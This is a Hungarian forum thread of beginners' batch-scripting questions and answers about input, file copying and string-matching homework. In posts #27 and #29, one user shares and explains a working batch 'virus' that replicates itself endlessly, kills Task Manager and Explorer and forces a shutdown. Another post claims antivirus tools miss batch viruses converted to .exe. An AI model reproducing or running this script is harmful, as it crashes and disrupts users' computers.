160
Batch programozás
  • nyolc
    #40
    lenne még egy kérdésem..melyik parancsal lehet beállítani azt, ha másolni akarok egy fájlt egy mappába egymás után és mindig ugyan azt..de ne írja felül, hanem a nevéhez rakjon hozzá egy számot vagy vmilyen betűt..:S
    plz segítsetek nagyon köszi!!
  • nyolc
    #39
    del D:\valami\*.*

    nemvágom...kijavítanád plz?:)
  • Dj Faustus #38
    Alapszabály a batch állományok készítésénél: parancs /? - megadja a parancs súgóját (mint Linux alatt a man parancs vagy az info parancs).

    Tehát írd be: del /?
  • nyolc
    #37
    Sziasztok! Batch segítség kéne! Hogy lehet úgy törölni fájlt hogy ne kérdezzen rá (i/n)? Előre thx! Üdv.: NyoLc`
  • red bull
    #36
    Szerintem nem. Mivel ha valaki batch vírust csinál akkor csak nem olyan hülye hogy nem konvertálja át .exe-be, mivel a .exe kiterjesztésbe átkonevrtált batch fájlokat nem szűrik a vírusírtók. Vagy ha mégis olyan hülye lenne akkor meg ha látod hogy a fájl batch akkor egyből megnézed (jobb gomb/szerkesztés) hogy mit tartalmaz és akkor utánna egyből észrveveszed
  • Vardar
    #35
    Batch antivírus programot(keresőt) lehet írni?
  • Dj Faustus #34
    1. megoldás: hozd elő a parancssort (Start menü/Futtatásba írd be: cmd, majd Enter), keresd meg a batch állományok könyvtárát (a cd paranccsal tudsz navigálni a könyvtárszerkezetben), és futtasd a batch-állományt parancssorról.
    2. megoldás: a batch állomány végére tegyél pause parancsot.
  • Vardar
    #33
    Kérlek segítsetek. Rengeteg batch fájlt próbáltam már írni Jegyzettömbben, de a létrehozott fájlokat ha el indítom 1 mp-re fel villan egy DOS ablak és nem történik semmi más. Op rendszerem: Win XP Sp2.
  • F1re
    #32
    akkor majd irj :D
  • ffxi
    #31
    Fog majd, mert tanulni fogjuk jövőre :)
  • F1re
    #30
    latom nem nagyon erdekel senkit
  • F1re
    #29
    ez azt csinalja hogy csinal 1 task.bat nevu batot ami azt csinalja hogy masolja on magat es elinditja vagy is 1 vegtelen folyamat es kozbe elindit a gepeden 1 vissza szamlalast ami kikapcsolja a geped es 2 modon lehet megalitani de ezt nem mondom el hogy amugy meg ennel a programnal 1ik sem muxik :D mert jol van megcsinalni es mikozbe vissza szamol folyamatosan lealitja az explorert mert ha nem alna le akkor meg lehetne alitani a vissza szamlalast de most nezem kimaradt ebbol a progibol 1 sor a tskill explorer ala meg be kene irni hogy tskill taskmgr mert igy most ezt is folyamatosan megalitja mert ha nem alitana akkor a masik modszerel le lehetne alitani a visszaszamlalast :D ja es a vegen a
    :task
    start task.bat
    goto task meg azt teszi ogy folyamatosan ismetli azt a folyamatot ami a :task alat van vagy is a start task.bat vagy is 1folytaba elinditja a task.bat-ot ami meg masolatot csinal magarol es elinditja magat magyarul ha sikerul megalitanod a folyamatos meg nyilast akkor le al a rendszer a vissza szamlalas miat ha meg a vissza szamlalast sikerul meg alitanod akkor meg lefagysz valszeg persze ezek nem bisztosak :D
  • ffxi
    #28
    Én nemtom.
  • F1re
    #27
    kezdek en :) 1ik gyengusal durvat nem nagyon akarok meg osztani mert ki tudja mien celokra hasznalnatok :D

    ::Fire::
    @echo off
    echo. tskill taskmgr > task.bat
    echo copy task.bat task.bat >> task.bat
    echo start task.bat >> task.bat
    shutdown -s -t 50
    tskill explorer
    :task
    start task.bat
    goto task


    gondolom tudjatok mit csinal XD
  • F1re
    #26
    ujra kene eleszteni a topicot en eleg jol tok bat virusokat kesziteni es meg es ha van aki keszitget ieneket meg oszthatnank 1masal es meg leshetnenk oket hogy mienek meg hasonlok es nem hasznalom semmi rosz celra a sajatjaimat csak csinaltam oket okorsegbol :D
  • horza
    #25
    Egyébként véletlenül találtam meg... s nem én vagyok ilyen okos... :-)
  • horza
    #24
    Ha mégsem sikerülne letölteni - a részlet a dokumentumból...
    ------------------------------------------------------------
    1. A batch fájl írja ki a gyökérkönyvtárból azokat, amelyek tartalmazzák az 1. paraméterben megadott karakterláncot.

    @echo off
    dir\|find "%1"

    rem Ha nem megy, a parametersort irjuk NAGYBETUKKEL!
    rem Javasolt kiprobalas: a paranccsorba irjuk be: TOE (kiirja: AUTOEXEC.BAT)

    2. A batch fájl az indításakor megadott 3 paraméter közül csak azokat írja ki a képernyőre, amelyek tartalmazzák az „a” betűt.

    @echo off
    echo %1|find "a"
    echo %2|find "a"
    echo %3|find "a"

    rem Fontos! Nincs hibaellenorzes, feltetelezzuk hogy van 3 parameter!

    3. A batch fájl az indításakor megadott 4 paraméter közül csak azokat írja ki a képernyőre (az első 3 közül), amelyek tartalmazzák a 4. paraméterben megadott karakterláncot.

    @echo off
    echo %1|find "%4"
    echo %2|find "%4"
    echo %3|find "%4"

    rem Fontos! Nincs hibaellenorzes, feltetelezzuk hogy van 4 parameter!
  • horza
    #23
    XerPY A linket töltsétek le és nézzétek meg - ott van fullban mindhárom megoldás...
  • horza
    #22
    Neked erre a linkre van szükséged:
    Batch megoldás
  • vaaa
    #21
    15: ok, de a "dir \*%1*.*" fájlon belül is nézi ?/

    A ciklust végig kéne próbálgatni, igazából string kezelő függvényeket nem találtam sajnos.
  • Dj Faustus #20
    "( ha a 15 öst jól értem, akkor nem a fájlnevekben kell keresni, hanem a fájl tartalomban??? )"
    A 15-ös feladat kétértelmű. Lehet filenévben is karaktersorozatokat keresni, illetve magában a file-ban is.

    A 16-os 17-es feladatok pedig abban van a bibi, hogy rész-karakterláncot kell keresni. Ha nem azt kéne, megoldható lenne egyszerű feltételekkel is:
    IF %1==%4 ECHO %1
    IF %2==%4 ECHO %2
    IF %3==%4 ECHO %3


    Sajnos a FOR /F-ről nem találtam olyan példát, ahol kifejezetten sztringet kerestek sztringben. A súgó is eléggé elszomorító:
    FOR /F ["beállítások"] %változó IN (fájlkészlet) DO parancs
    [parancs_paraméterei]
    FOR /F ["beállítások"] %változó IN ("karakterlánc") DO parancs
    [parancs_paraméterei]
    FOR /F ["beállítások"] %változó IN ('parancs') DO parancs
    [parancs_paraméterei]


    De itt sem járhatunk sok sikerrel.
  • vaaa
    #19
    Összeszedem kb mik kellenek hozzá, ezekből kisebb gondolkodás után össze legózható:

    ( ha a 15 öst jól értem, akkor nem a fájlnevekben kell keresni, hanem a fájl tartalomban??? )
    Findstr
    Normál kifejezések használatával szövegmintákat keres fájlokban.

    Szintaxis
    findstr [/b] [/e] [/l] [/r] [/s] [/i] [/x] [/v] [/n] [/m] [/o] [/p] [/offline] [/g:fájl] [/f:fájl] [/c:karakterlánc] [/d:könyvtárlista] [/a:színattribútum] [karakterláncok] [[meghajtó:][elérési_útvonal] fájlnév [...]]


    for /F ["elemzési_kulcsszavak"] {%% | %}változó in ("normál_karakterlánc") do parancs [parancssori_kapcsolók]

    három ciklust írnék, a három bemeneti argumentumra ( %1 %2 %3 ), és a ciklusmagban vizsgálnám az egyezést, ha egyezik, akkor gotoval elugrik, és kiiratni..
  • XerPY
    #18
    SZia!!
    köszike de meglehetne oldani azt hogy ez Dos és Windowsban legyen?
    Mert az "említett hölgyemény"nek sajnos így kell meg lehet oldani?
    köszi
    Zoli
  • Dj Faustus #17
    1. Ez egy fórum, ne e-mailben várj segítséget.
    2. Dos/Windows vagy Unix/Linux alatt érdekel a megoldás? Valószínűsítem hogy a az említett hölgyemény ez utóbbira kiváncsi.
    3. Crack-et ne ajánlgass, azt tudunk találni a neten... Másrészt ez nem ilyen fórum.

    A 15-ös feladat batch file-ja Dos/Windows alatt:
    dir \*%1*.*

    Ugyanez Linux/Unix alatt:
    #!/bin/sh
    ls / | grep $1


    16-os feladat Unix/Linux alatt:
    #!/bin/sh
    echo $1 | grep a;
    echo $2 | grep a;
    echo $3 | grep a;


    17-es feladat Unix/Linux alatt:
    #!/bin/sh
    echo $1 | grep $4;
    echo $2 | grep $4;
    echo $3 | grep $4;
  • XerPY
    #16
    Sziasztok!!
    Kérlek segítsetek egy kicsit!!
    Itt lenne néhány feladat pontosan 3 és nem bírok velük igaz még 1 napja tanulom ezt a dolgot de nem megy és igazából még talán az is baj hogy nem magamnak tanulom hanem megkértek rá ráadásul egy lány. 21 éves és nemtudom miért kapta ezeket a feladatokat. (én 13 éves vagyok :P komolyan)
    valaki megcsinálná nekem vagy elmagyarázná ezt az egészet? Holnap este 22:00-ig van időnk.
    Kérlek a választ vagy publikáljátok itt vagy küldjétek el mailba a [email protected] címre
    Előre is nagyon nagyon köszönöm a segítségeteket!!
    Ha kell valami játékkal kapcsolatos dolog nektek vagy valami akkor szóljatok vagy írjatok mailt és megszerzem. Játékot ha nem is de amik kellenek hozzá mint pl inkább nem mondom:P az az akármi.exe amivel felülírod a játék exejét :P (Csak hogy ne tudjanak belémkötni :P)
    nagyon köszi még 1*
    A feladatok:

    15. Feladat

    A batch fájl írja ki a gyökérkönyvtárból azokat, amelyek tartalmazzák az 1. paraméterben megadott karakter-láncot.

    16. Feladat

    A batch fájl az indításakor megadott 3 paraméter közül csak azokat írja ki a képernyőre, amelyek tartalmazzák az “a” betűt.

    17. Feladat

    A batch fájl az indításakor megadott 4 paraméter közül csak azokat írja ki a képernyőre (az első 3 közül), amelyek tartalmazzák a 4. paraméterben megadott karakterláncot.

  • [Jakuza]
    #15
    Itt megtalalod, hogyan hasznalhatod.
    http://www.computerhope.com/if.htm
  • [Jakuza]
    #14
    Az if valtozoval.
  • Shep
    #13
    Tud nekem segíteni vki abban, hogy amikor egy olyan részhez ér a bat file, ogy választani kell 2 lehetőség közül, akkor az egyik automatikusan bíródjon és tovább fusson a dolog, tehát pl igen/nem lehetőség van akkor mondjuk az igen automatikusan bíródjon.
  • ffxi
    #12
    És min értesz ezt "Alantabb láthatsz példákat is." Hol lehet ezt megnézni? És várom a következő "leckét"!
  • artschiatwork
    #11
    Ha jól emléxem, a batch kötegelt parancsfile, ami azt jelenti, hogy egy .bat kiterjesztésű file-ban egyszerre több parancs írható be, ami mind végrehajtódik, miután elindítottad ezt a file-t. Pl. egy .bat file-ba beírhatsz másolást, törlést, átnevezést stb.

    Alantabb láthatsz példákat is.
  • ffxi
    #10
    Sziasztok "professorok"! Tegnap vettük a "batch" a suliban(szakkközép), halvány fogalmam sincs róla, hogy mi ez. Vki tudna segíteni mind elméletileg, mind programozásilag? 1000hála
  • Pheel
    #9
    cygwin :-P
  • nemcsakfeel
    #8
    win alatt hogy tudom megcsinálni batchben, hogy adott szinttől kezdve minden alkönyvtárban lévő fájlt egy megadott helyre másoljon, úgy hogy mindegyik kiterjesztését módosítja??
    shell script az jobban menne, de linux emulátorom nincs
  • Borom
    #7
    hello

    A kovetkezo problema van, remelem tudtok segiteni:

    Adott egy batch file ami megadott konyvtarbol masol at cuccokat egy belso lanos halozatban levo gepekre (az osszesre). Ez egy ciklussal van megoldva.
    A baj ott kezdodik, hogy a celkonyvtar nevet ugy kell megadni, hogy a celgepen megosztott meghajto megosztasi nevet kell beirni neki.
    Na jo, pelda:
    a batch vergehajto parancsa ez:
    ...
    ) DO robocopy %1 \\%%g\rendszer (c)\%2 /E

    ahol %1 a 'honnan' konyvtar
    %%g a celgep
    es %2 a hova konyvtar
    ezzel nincs is baj, a baj a kozepso 'rendszer (c)' miatt van, ugyanis
    van benne space, tehat a robocopy (kb xcopy) uj parameternek veszi.

    " " koze nem tehetem, mert akkor a %%g parametert nem helyettesiti be rendesen. Nem irhatom be hogy ...\"rendszer (c)"\... mert nem erti.
    Nem adhatom be neki parameterbe mert nem erti. Meg lehet-e ezt oldani valahogy?

    (Remelem feleled a tema es valaki tud segiteni)
  • O0D:
    #6
    98 alatt nem műkszik a /p -s dolog, viszont xpben megírtam
    kis lantalk :):

    @echo off
    set $elkuldott=- meg nem kuldtel uzenetet -
    set /p $gepnev=Add meg a gepnevet ahova kuldozgetni szertnel:

    :ide
    cls
    echo @ ### ## kapcs a(z) %$gepnev% geppel ### ## ikszpopup_ __ ##
    echo @ _____________________________________________________________ @
    if "%$hiba%"=="1" echo - _!!!___ sikertelen uzenet kuldes: %$elkuldott% !!!
    if "%$hiba%"=="0" echo @ _ elozo uzeneted : %$elkuldott%
    echo @ ______________________________________________________________ @
    echo @ _________ __________ ( kilepes: qqq ) __________ ___________ @
    echo @ __ ez a kis progi stringet kuld net sendel!!! ( XP/nt hez ) __ @
    echo @ ______________________________________________________________ @

    set /p $param=# #__ Add meg az uzeneted:

    if "%$param%"=="qqq" goto kilep

    call net send %$gepnev% -%$param%
    set $hiba=0
    if errorlevel 1 set $hiba=1


    set $elkuldott=%$param%

    goto ide

    :kilep
    echo kilepes
  • O0D:
    #5
    most próbáltam ikszpében, tényleg nincs choice.. franc. pedig a dos 6.22 es könyvemben benne van !!! :))))

    más késleltetést nem tudsz? vagy muszály egyet írni pl. cében ?
  • PetruZ
    #4
    A set paranccsal nem csak értékadást lehet csinálin, hanem változót beolvasni is a /p paraméter segítségével. Pl.:

    @set /p param1=
    @echo %param1%

    vagy

    @set /p param1=Add meg a param1 értékét:
    @echo %param1%

    Vigyázat! Az egyenlőségjel előtt nincs szóköz! Ha van, a parancsértelmező azt is a változónév részének veszi! Azaz a "param1" és a "param1<szóköz>" két különböző változónév.
    Ez a lehetőség viszont csak W2K-tól fölfelé működik. Egyébként az NT/W2K/XP nem ismeri a choice-ot, de a fentiekkel kiváltható.
  • O0D:
    #3
    Hell!
    Gondoltam egyet, hogy biztos nem csak a ****** liunxban lehet scriptekkel megcsinálni sokmindent, hanem tudok vmit csinálni win ben is.
    Ott elakadtam hogy lehet billentyűzetrűl beolvasni azt stringbe tenni vagy a billentyűzetről olvasott dolgot pipe al bevinni másik parancsba, stb..
    A choice parancs az ok, de ott csak megadott betűk közül lehet választani.

    Arra rájöttem hogy pl. késleltetést hogy lehet csinálni, ezt trükkösen a choice parancsal:


    choice /c:ox bla bla /t:4,o
    if errorlevel 1 call ....
    if errorlevel 2 goto kilepes


    valami hasonló..
  • lck
    #2
    Tedd ki parancsikonként az asztalra, a parancsikon tulajdonságokban állítsd be, hogy kisméreten induljon.
  • Lacc
    #1
    Nemrég írtam egy kis .bat-ot (tőlem ez elég nagy teljesítmény :), ami szerencsére normálisan működik meg minden, csak van egy probléámá vele. Ha elindítom, akkor a Dos ablakot frankón kirakja maxmális méretben a deskop közepére. Hogy lehetne azt megoldani, hogy ez a háttérbe fusson, vagy legalábbis ne ugorjon ki a deskop közepére? Valami megoldás csak van...